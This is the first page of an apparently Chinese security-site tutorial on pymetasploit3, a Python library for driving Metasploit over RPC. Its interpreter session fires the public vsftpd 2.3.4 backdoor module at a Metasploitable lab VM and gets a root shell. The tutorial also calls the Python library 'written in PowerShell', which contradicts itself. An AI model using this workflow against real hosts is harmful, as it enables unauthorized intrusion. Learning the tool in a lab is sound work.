歡迎來到 黑吧安全網 聚焦網絡安全前沿資訊,精華內容,交流技術心得!

pymetasploit3:一個PowerShell編寫的Metasploit自動化庫

來源:本站整理 作者:佚名 時間:2019-06-18 TAG: 我要投稿

Pymetasploit3是一個PowerShell編寫的成熟的Python3 Metasploit自動化庫。它可以通過msfrpcd或msfconsole中的msgrpc插件與Metasploit進行交互。
原始庫:pymetasploit
該項目是Python2 pymetasploit庫的更新和改進版本。
原項目地址:https://github.com/allfro/pymetasploit
安裝
mkdir your-project
cd your-project
pipenv install --three pymetasploit3
pipenv shell
或:
pip3 install --user pymetasploit3
基本使用
啟動 Metasploit RPC server
你也可以使用msfrpcd或msfconsole啟動RPC server。
Msfconsole
這將啟動端口55552上的RPC server以及Metasploit控制臺UI。
$ msfconsole
msf> load msgrpc [Pass=yourpassword]
msfrpcd
這將在端口55553上啟動RPC服務器,并將在后臺啟動RPC server。
$ msfrpcd -P yourpassword -S
RPC client
連接到 msfrpcd
>>> from pymetasploit3.msfrpc import MsfRpcClient
>>> client = MsfRpcClient('yourpassword')
加載 msgrpc 插件連接到 msfconsole
>>> from pymetasploit3.msfrpc import MsfRpcClient
>>> client = MsfRpcClient('yourpassword', port=55552)
MsfRpcClient
Msfrpcclient類提供了在metasploit框架中導航的核心功能。使用dir(client)查看可調用的方法。
>>> [m for m in dir(client) if not m.startswith('_')]
['auth', 'authenticated', 'call', 'client', 'consoles', 'core', 'db', 'jobs', 'login', 'logout', 'modules', 'plugins',
'port', 'server', 'token', 'sessions', 'ssl', 'uri']
>>>
與metasploit框架一樣,MsfRpcClient被分割為不同的管理模塊:
auth:管理msfrpcd守護程序的客戶端身份驗證。
consoles:管理與Metasploit模塊創建的控制臺/shell的交互。
core:管理Metasploit框架核心。
db:管理msfrpcd的后端數據庫連接。
modules:管理Metasploit模塊的交互和配置(即exploits,auxiliaries等)
plugins:管理與Metasploit核心相關的插件。
sessions:管理與Metasploit meterpreter會話的交互。
運行一個 exploit
exploit模塊:
>>> client.modules.exploits
['windows/wins/ms04_045_wins', 'windows/winrm/winrm_script_exec', 'windows/vpn/safenet_ike_11',
'windows/vnc/winvnc_http_get', 'windows/vnc/ultravnc_viewer_bof', 'windows/vnc/ultravnc_client', ...
'aix/rpc_ttdbserverd_realpath', 'aix/rpc_cmsd_opcode21']
>>>
創建一個exploit模塊對象:
>>> exploit = client.modules.use('exploit', 'unix/ftp/vsftpd_234_backdoor')
>>>
exploit模塊信息:
>>>  print(exploit.description)
          This module exploits a malicious backdoor that was added to the VSFTPD download
          archive. This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between
          June 30th 2011 and July 1st 2011 according to the most recent information
          available. This backdoor was removed on July 3rd 2011.
>>> exploit.options
['TCP::send_delay', 'ConnectTimeout', 'SSLVersion', 'VERBOSE', 'SSLCipher', 'CPORT', 'SSLVerifyMode', 'SSL', 'WfsDelay',
'CHOST', 'ContextInformationFile', 'WORKSPACE', 'EnableContextEncoding', 'TCP::max_send_size', 'Proxies',
'DisablePayloadHandler', 'RPORT', 'RHOST']
>>> exploit.missing_required # Required options which haven't been set yet
['RHOST']
>>>
讓我們使用在VMWare上運行的Metasploitable 2實例作為我們的漏洞利用目標。它當前運行了我們最喜歡的vsFTPd版本 – 2.3.4 – 我已經加載了漏洞利用模塊。下一步是指定我們的攻擊目標:
>>> exploit['RHOST'] = '172.16.14.145' # IP of our target host
>>>
選擇一個payload:
>>> exploit.targetpayloads()
['cmd/unix/interact']
>>>
該漏洞的利用僅支持一個payload(cmd/unix/interact)。讓我們來彈出一個shell:
>>> exploit.execute(payload='cmd/unix/interact')
{'job_id': 1, 'uuid': '3whbuevf'}
>>>
可以看到job成功運行,因為job_id為1。如果模塊由于任何原因無法執行,則job_id將為None。在會話列表中我們可以看到一些非常有用的信息。
>>> client.sessions.list
{1: {'info': '', 'username': 'jsmith', 'session_port': 21, 'via_payload': 'payload/cmd/unix/interact',
'uuid': '5orqnnyv', 'tunnel_local': '172.16.14.1:58429', 'via_exploit': 'exploit/unix/ftp/vsftpd_234_backdoor',
'exploit_uuid': '3whbuevf', 'tunnel_peer': '172.16.14.145:6200', 'workspace': 'false', 'routes': '',
'target_host': '172.16.14.145', 'type': 'shell', 'session_host': '172.16.14.145', 'desc': 'Command shell'}}
>>>
與 shell 交互
從上面找到的會話編號中創建一個shell對象并寫入:
>>> shell = client.sessions.session('1')
>>> shell.write('whoami')
>>> print(shell.read())
root
>>>
像此前一樣運行相同的exploit對象,但要它完成并獲取輸出:
>>> cid = client.consoles.console().cid # Create a new console and store its number in 'cid'

[1] [2]  下一頁

【聲明】:黑吧安全網(http://www.pcpbjo.tw)登載此文出于傳遞更多信息之目的,并不代表本站贊同其觀點和對其真實性負責,僅適于網絡安全技術愛好者學習研究使用,學習中請遵循國家相關法律法規。如有問題請聯系我們,聯系郵箱[email protected],我們會在最短的時間內進行處理。
  • 最新更新
    • 相關閱讀
      • 本類熱門
        • 最近下載
        云南快乐十分前三电视